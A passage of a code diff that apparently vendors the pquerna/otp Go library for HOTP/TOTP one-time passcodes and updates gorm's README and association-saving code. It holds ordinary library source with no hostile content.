https://help.github.com/articles/downloading-your-two-factor-authentication-recovery-codes/).
|
||||
|
||||
|
||||
## Improvements, bugs, adding feature, etc:
|
||||
|
||||
Please [open issues in Github](https://github.com/pquerna/otp/issues) for ideas, bugs, and general thoughts. Pull requests are of course preferred :)
|
||||
|
||||
## License
|
||||
|
||||
`otp` is licensed under the [Apache License, Version 2.0](./LICENSE)
|
||||
+70
@@ -0,0 +1,70 @@
|
||||
/**
|
||||
* Copyright 2014 Paul Querna
|
||||
*
|
||||
* Licensed under the Apache License, Version 2.0 (the "License");
|
||||
* you may not use this file except in compliance with the License.
|
||||
* You may obtain a copy of the License at
|
||||
*
|
||||
* http://www.apache.org/licenses/LICENSE-2.0
|
||||
*
|
||||
* Unless required by applicable law or agreed to in writing, software
|
||||
* distributed under the License is distributed on an "AS IS" BASIS,
|
||||
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
* See the License for the specific language governing permissions and
|
||||
* limitations under the License.
|
||||
*
|
||||
*/
|
||||
|
||||
// Package otp implements both HOTP and TOTP based
|
||||
// one time passcodes in a Google Authenticator compatible manner.
|
||||
//
|
||||
// When adding a TOTP for a user, you must store the "secret" value
|
||||
// persistently. It is recommend to store the secret in an encrypted field in your
|
||||
// datastore. Due to how TOTP works, it is not possible to store a hash
|
||||
// for the secret value like you would a password.
|
||||
//
|
||||
// To enroll a user, you must first generate an OTP for them. Google
|
||||
// Authenticator supports using a QR code as an enrollment method:
|
||||
//
|
||||
// import (
|
||||
// "github.com/pquerna/otp/totp"
|
||||
//
|
||||
// "bytes"
|
||||
// "image/png"
|
||||
// )
|
||||
//
|
||||
// key, err := totp.Generate(totp.GenerateOpts{
|
||||
// Issuer: "Example.com",
|
||||
// AccountName: "[email protected]",
|
||||
// })
|
||||
//
|
||||
// // Convert TOTP key into a QR code encoded as a PNG image.
|
||||
// var buf bytes.Buffer
|
||||
// img, err := key.Image(200, 200)
|
||||
// png.Encode(&buf, img)
|
||||
//
|
||||
// // display the QR code to the user.
|
||||
// display(buf.Bytes())
|
||||
//
|
||||
// // Now Validate that the user's successfully added the passcode.
|
||||
// passcode := promptForPasscode()
|
||||
// valid := totp.Validate(passcode, key.Secret())
|
||||
//
|
||||
// if valid {
|
||||
// // User successfully used their TOTP, save it to your backend!
|
||||
// storeSecret("[email protected]", key.Secret())
|
||||
// }
|
||||
//
|
||||
// Validating a TOTP passcode is very easy, just prompt the user for a passcode
|
||||
// and retrieve the associated user's previously stored secret.
|
||||
// import "github.com/pquerna/otp/totp"
|
||||
//
|
||||
// passcode := promptForPasscode()
|
||||
// secret := getSecret("[email protected]")
|
||||
//
|
||||
// valid := totp.Validate(passcode, secret)
|
||||
//
|
||||
// if valid {
|
||||
// // Success! continue login process.
|
||||
// }
|
||||
package otp
|
||||
+211
@@ -0,0 +1,211 @@
|
||||
/**
|
||||
* Copyright 2014 Paul Querna
|
||||
*
|
||||
* Licensed under the Apache License, Version 2.0 (the "License");
|
||||
* you may not use this file except in compliance with the License.
|
||||
* You may obtain a copy of the License at
|
||||
*
|
||||
* http://www.apache.org/licenses/LICENSE-2.0
|
||||
*
|
||||
* Unless required by applicable law or agreed to in writing, software
|
||||
* distributed under the License is distributed on an "AS IS" BASIS,
|
||||
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
* See the License for the specific language governing permissions and
|
||||
* limitations under the License.
|
||||
*
|
||||
*/
|
||||
|
||||
package hotp
|
||||
|
||||
import (
|
||||
"github.com/pquerna/otp"
|
||||
"io"
|
||||
|
||||
"crypto/hmac"
|
||||
"crypto/rand"
|
||||
"crypto/subtle"
|
||||
"encoding/base32"
|
||||
"encoding/binary"
|
||||
"fmt"
|
||||
"math"
|
||||
"net/url"
|
||||
"strings"
|
||||
)
|
||||
|
||||
const debug = false
|
||||
|
||||
// Validate a HOTP passcode given a counter and secret.
|
||||
// This is a shortcut for ValidateCustom, with parameters that
|
||||
// are compataible with Google-Authenticator.
|
||||
func Validate(passcode string, counter uint64, secret string) bool {
|
||||
rv, _ := ValidateCustom(
|
||||
passcode,
|
||||
counter,
|
||||
secret,
|
||||
ValidateOpts{
|
||||
Digits: otp.DigitsSix,
|
||||
Algorithm: otp.AlgorithmSHA1,
|
||||
},
|
||||
)
|
||||
return rv
|
||||
}
|
||||
|
||||
// ValidateOpts provides options for ValidateCustom().
|
||||
type ValidateOpts struct {
|
||||
// Digits as part of the input. Defaults to 6.
|
||||
Digits otp.Digits
|
||||
// Algorithm to use for HMAC. Defaults to SHA1.
|
||||
Algorithm otp.Algorithm
|
||||
}
|
||||
|
||||
// GenerateCode creates a HOTP passcode given a counter and secret.
|
||||
// This is a shortcut for GenerateCodeCustom, with parameters that
|
||||
// are compataible with Google-Authenticator.
|
||||
func GenerateCode(secret string, counter uint64) (string, error) {
|
||||
return GenerateCodeCustom(secret, counter, ValidateOpts{
|
||||
Digits: otp.DigitsSix,
|
||||
Algorithm: otp.AlgorithmSHA1,
|
||||
})
|
||||
}
|
||||
|
||||
// GenerateCodeCustom uses a counter and secret value and options struct to
|
||||
// create a passcode.
|
||||
func GenerateCodeCustom(secret string, counter uint64, opts ValidateOpts) (passcode string, err error) {
|
||||
// As noted in issue #10 and #17 this adds support for TOTP secrets that are
|
||||
// missing their padding.
|
||||
secret = strings.TrimSpace(secret)
|
||||
if n := len(secret) % 8; n != 0 {
|
||||
secret = secret + strings.Repeat("=", 8-n)
|
||||
}
|
||||
|
||||
// As noted in issue #24 Google has started producing base32 in lower case,
|
||||
// but the StdEncoding (and the RFC), expect a dictionary of only upper case letters.
|
||||
secret = strings.ToUpper(secret)
|
||||
|
||||
secretBytes, err := base32.StdEncoding.DecodeString(secret)
|
||||
if err != nil {
|
||||
return "", otp.ErrValidateSecretInvalidBase32
|
||||
}
|
||||
|
||||
buf := make([]byte, 8)
|
||||
mac := hmac.New(opts.Algorithm.Hash, secretBytes)
|
||||
binary.BigEndian.PutUint64(buf, counter)
|
||||
if debug {
|
||||
fmt.Printf("counter=%v\n", counter)
|
||||
fmt.Printf("buf=%v\n", buf)
|
||||
}
|
||||
|
||||
mac.Write(buf)
|
||||
sum := mac.Sum(nil)
|
||||
|
||||
// "Dynamic truncation" in RFC 4226
|
||||
// http://tools.ietf.org/html/rfc4226#section-5.4
|
||||
offset := sum[len(sum)-1] & 0xf
|
||||
value := int64(((int(sum[offset]) & 0x7f) << 24) |
|
||||
((int(sum[offset+1] & 0xff)) << 16) |
|
||||
((int(sum[offset+2] & 0xff)) << 8) |
|
||||
(int(sum[offset+3]) & 0xff))
|
||||
|
||||
l := opts.Digits.Length()
|
||||
mod := int32(value % int64(math.Pow10(l)))
|
||||
|
||||
if debug {
|
||||
fmt.Printf("offset=%v\n", offset)
|
||||
fmt.Printf("value=%v\n", value)
|
||||
fmt.Printf("mod'ed=%v\n", mod)
|
||||
}
|
||||
|
||||
return opts.Digits.Format(mod), nil
|
||||
}
|
||||
|
||||
// ValidateCustom validates an HOTP with customizable options. Most users should
|
||||
// use Validate().
|
||||
func ValidateCustom(passcode string, counter uint64, secret string, opts ValidateOpts) (bool, error) {
|
||||
passcode = strings.TrimSpace(passcode)
|
||||
|
||||
if len(passcode) != opts.Digits.Length() {
|
||||
return false, otp.ErrValidateInputInvalidLength
|
||||
}
|
||||
|
||||
otpstr, err := GenerateCodeCustom(secret, counter, opts)
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
|
||||
if subtle.ConstantTimeCompare([]byte(otpstr), []byte(passcode)) == 1 {
|
||||
return true, nil
|
||||
}
|
||||
|
||||
return false, nil
|
||||
}
|
||||
|
||||
// GenerateOpts provides options for .Generate()
|
||||
type GenerateOpts struct {
|
||||
// Name of the issuing Organization/Company.
|
||||
Issuer string
|
||||
// Name of the User's Account (eg, email address)
|
||||
AccountName string
|
||||
// Size in size of the generated Secret. Defaults to 10 bytes.
|
||||
SecretSize uint
|
||||
// Secret to store. Defaults to a randomly generated secret of SecretSize. You should generally leave this empty.
|
||||
Secret []byte
|
||||
// Digits to request. Defaults to 6.
|
||||
Digits otp.Digits
|
||||
// Algorithm to use for HMAC. Defaults to SHA1.
|
||||
Algorithm otp.Algorithm
|
||||
// Reader to use for generating HOTP Key.
|
||||
Rand io.Reader
|
||||
}
|
||||
|
||||
var b32NoPadding = base32.StdEncoding.WithPadding(base32.NoPadding)
|
||||
|
||||
// Generate creates a new HOTP Key.
|
||||
func Generate(opts GenerateOpts) (*otp.Key, error) {
|
||||
// url encode the Issuer/AccountName
|
||||
if opts.Issuer == "" {
|
||||
return nil, otp.ErrGenerateMissingIssuer
|
||||
}
|
||||
|
||||
if opts.AccountName == "" {
|
||||
return nil, otp.ErrGenerateMissingAccountName
|
||||
}
|
||||
|
||||
if opts.SecretSize == 0 {
|
||||
opts.SecretSize = 10
|
||||
}
|
||||
|
||||
if opts.Digits == 0 {
|
||||
opts.Digits = otp.DigitsSix
|
||||
}
|
||||
|
||||
if opts.Rand == nil {
|
||||
opts.Rand = rand.Reader
|
||||
}
|
||||
|
||||
// otpauth://totp/Example:[email protected]?secret=JBSWY3DPEHPK3PXP&issuer=Example
|
||||
|
||||
v := url.Values{}
|
||||
if len(opts.Secret) != 0 {
|
||||
v.Set("secret", b32NoPadding.EncodeToString(opts.Secret))
|
||||
} else {
|
||||
secret := make([]byte, opts.SecretSize)
|
||||
_, err := opts.Rand.Read(secret)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
v.Set("secret", b32NoPadding.EncodeToString(secret))
|
||||
}
|
||||
|
||||
v.Set("issuer", opts.Issuer)
|
||||
v.Set("algorithm", opts.Algorithm.String())
|
||||
v.Set("digits", opts.Digits.String())
|
||||
|
||||
u := url.URL{
|
||||
Scheme: "otpauth",
|
||||
Host: "hotp",
|
||||
Path: "/" + opts.Issuer + ":" + opts.AccountName,
|
||||
RawQuery: v.Encode(),
|
||||
}
|
||||
|
||||
return otp.NewKeyFromURL(u.String())
|
||||
}
|
||||
+223
@@ -0,0 +1,223 @@
|
||||
/**
|
||||
* Copyright 2014 Paul Querna
|
||||
*
|
||||
* Licensed under the Apache License, Version 2.0 (the "License");
|
||||
* you may not use this file except in compliance with the License.
|
||||
* You may obtain a copy of the License at
|
||||
*
|
||||
* http://www.apache.org/licenses/LICENSE-2.0
|
||||
*
|
||||
* Unless required by applicable law or agreed to in writing, software
|
||||
* distributed under the License is distributed on an "AS IS" BASIS,
|
||||
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
* See the License for the specific language governing permissions and
|
||||
* limitations under the License.
|
||||
*
|
||||
*/
|
||||
|
||||
package otp
|
||||
|
||||
import (
|
||||
"github.com/boombuler/barcode"
|
||||
"github.com/boombuler/barcode/qr"
|
||||
|
||||
"crypto/md5"
|
||||
"crypto/sha1"
|
||||
"crypto/sha256"
|
||||
"crypto/sha512"
|
||||
"errors"
|
||||
"fmt"
|
||||
"hash"
|
||||
"image"
|
||||
"net/url"
|
||||
"strings"
|
||||
"strconv"
|
||||
)
|
||||
|
||||
// Error when attempting to convert the secret from base32 to raw bytes.
|
||||
var ErrValidateSecretInvalidBase32 = errors.New("Decoding of secret as base32 failed.")
|
||||
|
||||
// The user provided passcode length was not expected.
|
||||
var ErrValidateInputInvalidLength = errors.New("Input length unexpected")
|
||||
|
||||
// When generating a Key, the Issuer must be set.
|
||||
var ErrGenerateMissingIssuer = errors.New("Issuer must be set")
|
||||
|
||||
// When generating a Key, the Account Name must be set.
|
||||
var ErrGenerateMissingAccountName = errors.New("AccountName must be set")
|
||||
|
||||
// Key represents an TOTP or HTOP key.
|
||||
type Key struct {
|
||||
orig string
|
||||
url *url.URL
|
||||
}
|
||||
|
||||
// NewKeyFromURL creates a new Key from an TOTP or HOTP url.
|
||||
//
|
||||
// The URL format is documented here:
|
||||
// https://github.com/google/google-authenticator/wiki/Key-Uri-Format
|
||||
//
|
||||
func NewKeyFromURL(orig string) (*Key, error) {
|
||||
s := strings.TrimSpace(orig)
|
||||
|
||||
u, err := url.Parse(s)
|
||||
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
return &Key{
|
||||
orig: s,
|
||||
url: u,
|
||||
}, nil
|
||||
}
|
||||
|
||||
func (k *Key) String() string {
|
||||
return k.orig
|
||||
}
|
||||
|
||||
// Image returns an QR-Code image of the specified width and height,
|
||||
// suitable for use by many clients like Google-Authenricator
|
||||
// to enroll a user's TOTP/HOTP key.
|
||||
func (k *Key) Image(width int, height int) (image.Image, error) {
|
||||
b, err := qr.Encode(k.orig, qr.M, qr.Auto)
|
||||
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
b, err = barcode.Scale(b, width, height)
|
||||
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
return b, nil
|
||||
}
|
||||
|
||||
// Type returns "hotp" or "totp".
|
||||
func (k *Key) Type() string {
|
||||
return k.url.Host
|
||||
}
|
||||
|
||||
// Issuer returns the name of the issuing organization.
|
||||
func (k *Key) Issuer() string {
|
||||
q := k.url.Query()
|
||||
|
||||
issuer := q.Get("issuer")
|
||||
|
||||
if issuer != "" {
|
||||
return issuer
|
||||
}
|
||||
|
||||
p := strings.TrimPrefix(k.url.Path, "/")
|
||||
i := strings.Index(p, ":")
|
||||
|
||||
if i == -1 {
|
||||
return ""
|
||||
}
|
||||
|
||||
return p[:i]
|
||||
}
|
||||
|
||||
// AccountName returns the name of the user's account.
|
||||
func (k *Key) AccountName() string {
|
||||
p := strings.TrimPrefix(k.url.Path, "/")
|
||||
i := strings.Index(p, ":")
|
||||
|
||||
if i == -1 {
|
||||
return p
|
||||
}
|
||||
|
||||
return p[i+1:]
|
||||
}
|
||||
|
||||
// Secret returns the opaque secret for this Key.
|
||||
func (k *Key) Secret() string {
|
||||
q := k.url.Query()
|
||||
|
||||
return q.Get("secret")
|
||||
}
|
||||
|
||||
// Period returns a tiny int representing the rotation time in seconds.
|
||||
func (k *Key) Period() uint64 {
|
||||
q := k.url.Query()
|
||||
|
||||
if u, err := strconv.ParseUint(q.Get("period"), 10, 64); err == nil {
|
||||
return u
|
||||
}
|
||||
|
||||
// If no period is defined 30 seconds is the default per (rfc6238)
|
||||
return 30
|
||||
}
|
||||
|
||||
// URL returns the OTP URL as a string
|
||||
func (k *Key) URL() string {
|
||||
return k.url.String()
|
||||
}
|
||||
|
||||
// Algorithm represents the hashing function to use in the HMAC
|
||||
// operation needed for OTPs.
|
||||
type Algorithm int
|
||||
|
||||
const (
|
||||
// AlgorithmSHA1 should be used for compatibility with Google Authenticator.
|
||||
//
|
||||
// See https://github.com/pquerna/otp/issues/55 for additional details.
|
||||
AlgorithmSHA1 Algorithm = iota
|
||||
AlgorithmSHA256
|
||||
AlgorithmSHA512
|
||||
AlgorithmMD5
|
||||
)
|
||||
|
||||
func (a Algorithm) String() string {
|
||||
switch a {
|
||||
case AlgorithmSHA1:
|
||||
return "SHA1"
|
||||
case AlgorithmSHA256:
|
||||
return "SHA256"
|
||||
case AlgorithmSHA512:
|
||||
return "SHA512"
|
||||
case AlgorithmMD5:
|
||||
return "MD5"
|
||||
}
|
||||
panic("unreached")
|
||||
}
|
||||
|
||||
func (a Algorithm) Hash() hash.Hash {
|
||||
switch a {
|
||||
case AlgorithmSHA1:
|
||||
return sha1.New()
|
||||
case AlgorithmSHA256:
|
||||
return sha256.New()
|
||||
case AlgorithmSHA512:
|
||||
return sha512.New()
|
||||
case AlgorithmMD5:
|
||||
return md5.New()
|
||||
}
|
||||
panic("unreached")
|
||||
}
|
||||
|
||||
// Digits represents the number of digits present in the
|
||||
// user's OTP passcode. Six and Eight are the most common values.
|
||||
type Digits int
|
||||
|
||||
const (
|
||||
DigitsSix Digits = 6
|
||||
DigitsEight Digits = 8
|
||||
)
|
||||
|
||||
// Format converts an integer into the zero-filled size for this Digits.
|
||||
func (d Digits) Format(in int32) string {
|
||||
f := fmt.Sprintf("%%0%dd", d)
|
||||
return fmt.Sprintf(f, in)
|
||||
}
|
||||
|
||||
// Length returns the number of characters for this Digits.
|
||||
func (d Digits) Length() int {
|
||||
return int(d)
|
||||
}
|
||||
|
||||
func (d Digits) String() string {
|
||||
return fmt.Sprintf("%d", d)
|
||||
}
|
||||
+206
@@ -0,0 +1,206 @@
|
||||
/**
|
||||
* Copyright 2014 Paul Querna
|
||||
*
|
||||
* Licensed under the Apache License, Version 2.0 (the "License");
|
||||
* you may not use this file except in compliance with the License.
|
||||
* You may obtain a copy of the License at
|
||||
*
|
||||
* http://www.apache.org/licenses/LICENSE-2.0
|
||||
*
|
||||
* Unless required by applicable law or agreed to in writing, software
|
||||
* distributed under the License is distributed on an "AS IS" BASIS,
|
||||
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
* See the License for the specific language governing permissions and
|
||||
* limitations under the License.
|
||||
*
|
||||
*/
|
||||
|
||||
package totp
|
||||
|
||||
import (
|
||||
"github.com/pquerna/otp"
|
||||
"github.com/pquerna/otp/hotp"
|
||||
"io"
|
||||
|
||||
"crypto/rand"
|
||||
"encoding/base32"
|
||||
"math"
|
||||
"net/url"
|
||||
"strconv"
|
||||
"time"
|
||||
)
|
||||
|
||||
// Validate a TOTP using the current time.
|
||||
// A shortcut for ValidateCustom, Validate uses a configuration
|
||||
// that is compatible with Google-Authenticator and most clients.
|
||||
func Validate(passcode string, secret string) bool {
|
||||
rv, _ := ValidateCustom(
|
||||
passcode,
|
||||
secret,
|
||||
time.Now().UTC(),
|
||||
ValidateOpts{
|
||||
Period: 30,
|
||||
Skew: 1,
|
||||
Digits: otp.DigitsSix,
|
||||
Algorithm: otp.AlgorithmSHA1,
|
||||
},
|
||||
)
|
||||
return rv
|
||||
}
|
||||
|
||||
// GenerateCode creates a TOTP token using the current time.
|
||||
// A shortcut for GenerateCodeCustom, GenerateCode uses a configuration
|
||||
// that is compatible with Google-Authenticator and most clients.
|
||||
func GenerateCode(secret string, t time.Time) (string, error) {
|
||||
return GenerateCodeCustom(secret, t, ValidateOpts{
|
||||
Period: 30,
|
||||
Skew: 1,
|
||||
Digits: otp.DigitsSix,
|
||||
Algorithm: otp.AlgorithmSHA1,
|
||||
})
|
||||
}
|
||||
|
||||
// ValidateOpts provides options for ValidateCustom().
|
||||
type ValidateOpts struct {
|
||||
// Number of seconds a TOTP hash is valid for. Defaults to 30 seconds.
|
||||
Period uint
|
||||
// Periods before or after the current time to allow. Value of 1 allows up to Period
|
||||
// of either side of the specified time. Defaults to 0 allowed skews. Values greater
|
||||
// than 1 are likely sketchy.
|
||||
Skew uint
|
||||
// Digits as part of the input. Defaults to 6.
|
||||
Digits otp.Digits
|
||||
// Algorithm to use for HMAC. Defaults to SHA1.
|
||||
Algorithm otp.Algorithm
|
||||
}
|
||||
|
||||
// GenerateCodeCustom takes a timepoint and produces a passcode using a
|
||||
// secret and the provided opts. (Under the hood, this is making an adapted
|
||||
// call to hotp.GenerateCodeCustom)
|
||||
func GenerateCodeCustom(secret string, t time.Time, opts ValidateOpts) (passcode string, err error) {
|
||||
if opts.Period == 0 {
|
||||
opts.Period = 30
|
||||
}
|
||||
counter := uint64(math.Floor(float64(t.Unix()) / float64(opts.Period)))
|
||||
passcode, err = hotp.GenerateCodeCustom(secret, counter, hotp.ValidateOpts{
|
||||
Digits: opts.Digits,
|
||||
Algorithm: opts.Algorithm,
|
||||
})
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
return passcode, nil
|
||||
}
|
||||
|
||||
// ValidateCustom validates a TOTP given a user specified time and custom options.
|
||||
// Most users should use Validate() to provide an interpolatable TOTP experience.
|
||||
func ValidateCustom(passcode string, secret string, t time.Time, opts ValidateOpts) (bool, error) {
|
||||
if opts.Period == 0 {
|
||||
opts.Period = 30
|
||||
}
|
||||
|
||||
counters := []uint64{}
|
||||
counter := int64(math.Floor(float64(t.Unix()) / float64(opts.Period)))
|
||||
|
||||
counters = append(counters, uint64(counter))
|
||||
for i := 1; i <= int(opts.Skew); i++ {
|
||||
counters = append(counters, uint64(counter+int64(i)))
|
||||
counters = append(counters, uint64(counter-int64(i)))
|
||||
}
|
||||
|
||||
for _, counter := range counters {
|
||||
rv, err := hotp.ValidateCustom(passcode, counter, secret, hotp.ValidateOpts{
|
||||
Digits: opts.Digits,
|
||||
Algorithm: opts.Algorithm,
|
||||
})
|
||||
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
|
||||
if rv == true {
|
||||
return true, nil
|
||||
}
|
||||
}
|
||||
|
||||
return false, nil
|
||||
}
|
||||
|
||||
// GenerateOpts provides options for Generate(). The default values
|
||||
// are compatible with Google-Authenticator.
|
||||
type GenerateOpts struct {
|
||||
// Name of the issuing Organization/Company.
|
||||
Issuer string
|
||||
// Name of the User's Account (eg, email address)
|
||||
AccountName string
|
||||
// Number of seconds a TOTP hash is valid for. Defaults to 30 seconds.
|
||||
Period uint
|
||||
// Size in size of the generated Secret. Defaults to 20 bytes.
|
||||
SecretSize uint
|
||||
// Secret to store. Defaults to a randomly generated secret of SecretSize. You should generally leave this empty.
|
||||
Secret []byte
|
||||
// Digits to request. Defaults to 6.
|
||||
Digits otp.Digits
|
||||
// Algorithm to use for HMAC. Defaults to SHA1.
|
||||
Algorithm otp.Algorithm
|
||||
// Reader to use for generating TOTP Key.
|
||||
Rand io.Reader
|
||||
}
|
||||
|
||||
var b32NoPadding = base32.StdEncoding.WithPadding(base32.NoPadding)
|
||||
|
||||
// Generate a new TOTP Key.
|
||||
func Generate(opts GenerateOpts) (*otp.Key, error) {
|
||||
// url encode the Issuer/AccountName
|
||||
if opts.Issuer == "" {
|
||||
return nil, otp.ErrGenerateMissingIssuer
|
||||
}
|
||||
|
||||
if opts.AccountName == "" {
|
||||
return nil, otp.ErrGenerateMissingAccountName
|
||||
}
|
||||
|
||||
if opts.Period == 0 {
|
||||
opts.Period = 30
|
||||
}
|
||||
|
||||
if opts.SecretSize == 0 {
|
||||
opts.SecretSize = 20
|
||||
}
|
||||
|
||||
if opts.Digits == 0 {
|
||||
opts.Digits = otp.DigitsSix
|
||||
}
|
||||
|
||||
if opts.Rand == nil {
|
||||
opts.Rand = rand.Reader
|
||||
}
|
||||
|
||||
// otpauth://totp/Example:[email protected]?secret=JBSWY3DPEHPK3PXP&issuer=Example
|
||||
|
||||
v := url.Values{}
|
||||
if len(opts.Secret) != 0 {
|
||||
v.Set("secret", b32NoPadding.EncodeToString(opts.Secret))
|
||||
} else {
|
||||
secret := make([]byte, opts.SecretSize)
|
||||
_, err := opts.Rand.Read(secret)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
v.Set("secret", b32NoPadding.EncodeToString(secret))
|
||||
}
|
||||
|
||||
v.Set("issuer", opts.Issuer)
|
||||
v.Set("period", strconv.FormatUint(uint64(opts.Period), 10))
|
||||
v.Set("algorithm", opts.Algorithm.String())
|
||||
v.Set("digits", opts.Digits.String())
|
||||
|
||||
u := url.URL{
|
||||
Scheme: "otpauth",
|
||||
Host: "totp",
|
||||
Path: "/" + opts.Issuer + ":" + opts.AccountName,
|
||||
RawQuery: v.Encode(),
|
||||
}
|
||||
|
||||
return otp.NewKeyFromURL(u.String())
|
||||
}
|
||||
Generated
+1
@@ -2,3 +2,4 @@ TODO*
|
||||
documents
|
||||
coverage.txt
|
||||
_book
|
||||
.idea
|
||||
+1
-1
@@ -17,7 +17,7 @@ The fantastic ORM library for Golang, aims to be developer friendly.
|
||||
* Hooks (Before/After Create/Save/Update/Delete/Find)
|
||||
* Eager loading with `Preload`, `Joins`
|
||||
* Transactions, Nested Transactions, Save Point, RollbackTo to Saved Point
|
||||
* Context, Prepared Statment Mode, DryRun Mode
|
||||
* Context, Prepared Statement Mode, DryRun Mode
|
||||
* Batch Insert, FindInBatches, Find To Map
|
||||
* SQL Builder, Upsert, Locking, Optimizer/Index/Comment Hints, NamedArg, Search/Update/Create with SQL Expr
|
||||
* Composite Primary Key
|
||||
|
||||
+41
-10
@@ -1,7 +1,6 @@
|
||||
package gorm
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"fmt"
|
||||
"reflect"
|
||||
"strings"
|
||||
@@ -27,7 +26,7 @@ func (db *DB) Association(column string) *Association {
|
||||
association.Relationship = db.Statement.Schema.Relationships.Relations[column]
|
||||
|
||||
if association.Relationship == nil {
|
||||
association.Error = fmt.Errorf("%w: %v", ErrUnsupportedRelation, column)
|
||||
association.Error = fmt.Errorf("%w: %s", ErrUnsupportedRelation, column)
|
||||
}
|
||||
|
||||
db.Statement.ReflectValue = reflect.ValueOf(db.Statement.Model)
|
||||
@@ -66,7 +65,9 @@ func (association *Association) Append(values ...interface{}) error {
|
||||
func (association *Association) Replace(values ...interface{}) error {
|
||||
if association.Error == nil {
|
||||
// save associations
|
||||
association.saveAssociation( /*clear*/ true, values...)
|
||||
if association.saveAssociation( /*clear*/ true, values...); association.Error != nil {
|
||||
return association.Error
|
||||
}
|
||||
|
||||
// set old associations's foreign key to null
|
||||
reflectValue := association.DB.Statement.ReflectValue
|
||||
@@ -118,7 +119,7 @@ func (association *Association) Replace(values ...interface{}) error {
|
||||
|
||||
if _, pvs := schema.GetIdentityFieldValuesMap(reflectValue, primaryFields); len(pvs) > 0 {
|
||||
column, values := schema.ToQueryValues(rel.FieldSchema.Table, foreignKeys, pvs)
|
||||
tx.Where(clause.IN{Column: column, Values: values}).UpdateColumns(updateMap)
|
||||
association.Error = tx.Where(clause.IN{Column: column, Values: values}).UpdateColumns(updateMap).Error
|
||||
}
|
||||
case schema.Many2Many:
|
||||
var (
|
||||
@@ -154,7 +155,7 @@ func (association *Association) Replace(values ...interface{}) error {
|
||||
tx.Where(clause.Not(clause.IN{Column: relColumn, Values: relValues}))
|
||||
}
|
||||
|
||||
tx.Delete(modelValue)
|
||||
association.Error = tx.Delete(modelValue).Error
|
||||
}
|
||||
}
|
||||
return association.Error
|
||||
@@ -354,7 +355,7 @@ func (association *Association) saveAssociation(clear bool, values ...interface{
|
||||
} else if ev.Type().Elem().AssignableTo(elemType) {
|
||||
fieldValue = reflect.Append(fieldValue, ev.Elem())
|
||||
} else {
|
||||
association.Error = fmt.Errorf("unsupported data type: %v for relation %v", ev.Type(), association.Relationship.Name)
|
||||
association.Error = fmt.Errorf("unsupported data type: %v for relation %s", ev.Type(), association.Relationship.Name)
|
||||
}
|
||||
|
||||
if elemType.Kind() == reflect.Struct {
|
||||
@@ -378,12 +379,42 @@ func (association *Association) saveAssociation(clear bool, values ...interface{
|
||||
}
|
||||
|
||||
selectedSaveColumns := []string{association.Relationship.Name}
|
||||
omitColumns := []string{}
|
||||
selectColumns, _ := association.DB.Statement.SelectAndOmitColumns(true, false)
|
||||
for name, ok := range selectColumns {
|
||||
columnName := ""
|
||||
if strings.HasPrefix(name, association.Relationship.Name) {
|
||||
if columnName = strings.TrimPrefix(name, association.Relationship.Name); columnName == ".*" {
|
||||
columnName = name
|
||||
}
|
||||
} else if strings.HasPrefix(name, clause.Associations) {
|
||||
columnName = name
|
||||
}
|
||||
|
||||
if columnName != "" {
|
||||
if ok {
|
||||
selectedSaveColumns = append(selectedSaveColumns, columnName)
|
||||
} else {
|
||||
omitColumns = append(omitColumns, columnName)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
for _, ref := range association.Relationship.References {
|
||||
if !ref.OwnPrimaryKey {
|
||||
selectedSaveColumns = append(selectedSaveColumns, ref.ForeignKey.Name)
|
||||
}
|
||||
}
|
||||
|
||||
associationDB := association.DB.Session(&Session{}).Model(nil)
|
||||
if !association.DB.FullSaveAssociations {
|
||||
associationDB.Select(selectedSaveColumns)
|
||||
}
|
||||
if len(omitColumns) > 0 {
|
||||
associationDB.Omit(omitColumns...)
|
||||
}
|
||||
associationDB = associationDB.Session(&Session{})
|
||||
|
||||
switch reflectValue.Kind() {
|
||||
case reflect.Slice, reflect.Array:
|
||||
if len(values) != reflectValue.Len() {
|
||||
@@ -409,7 +440,7 @@ func (association *Association) saveAssociation(clear bool, values ...interface{
|
||||
break
|
||||
}
|
||||
|
||||
association.Error = errors.New("invalid association values, length doesn't match")
|
||||
association.Error = ErrInvalidValueOfLength
|
||||
return
|
||||
}
|
||||
|
||||
@@ -417,7 +448,7 @@ func (association *Association) saveAssociation(clear bool, values ...interface{
|
||||
appendToRelations(reflectValue.Index(i), reflect.Indirect(reflect.ValueOf(values[i])), clear)
|
||||
|
||||
// TODO support save slice data, sql with case?
|
||||
association.Error = association.DB.Session(&Session{}).Select(selectedSaveColumns).Model(nil).Updates(reflectValue.Index(i).Addr().Interface()).Error
|
||||
association.Error = associationDB.Updates(reflectValue.Index(i).Addr().Interface()).Error
|
||||
}
|
||||
case reflect.Struct:
|
||||
// clear old data
|
||||
@@ -439,7 +470,7 @@ func (association *Association) saveAssociation(clear bool, values ...interface{
|
||||
}
|
||||
|
||||
if len(values) > 0 {
|
||||
association.Error = association.DB.Session(&Session{}).Select(selectedSaveColumns).Model(nil).Updates(reflectValue.Addr().Interface()).Error
|
||||
association.Error = associationDB.Updates(reflectValue.Addr().Interface()).Error
|
||||
}
|
||||
}
|
||||
|
||||
@@ -470,7 +501,7 @@ func (association *Association) buildCondition() *DB {
|
||||
tx.Clauses(clause.Expr{SQL: strings.Replace(joinStmt.SQL.String(), "WHERE ", "", 1), Vars: joinStmt.Vars})
|
||||
}
|
||||
|
||||
tx.Clauses(clause.From{Joins: []clause.Join{{
|
||||
tx = tx.Session(&Session{QueryFields: true}).Clauses(clause.From{Joins: []clause.Join{{
|
||||
Table: clause.Table{Name: association.Relationship.JoinTable.Table},
|
||||
ON: clause.Where{Exprs: queryConds},
|
||||
}}})
|
||||
|
||||
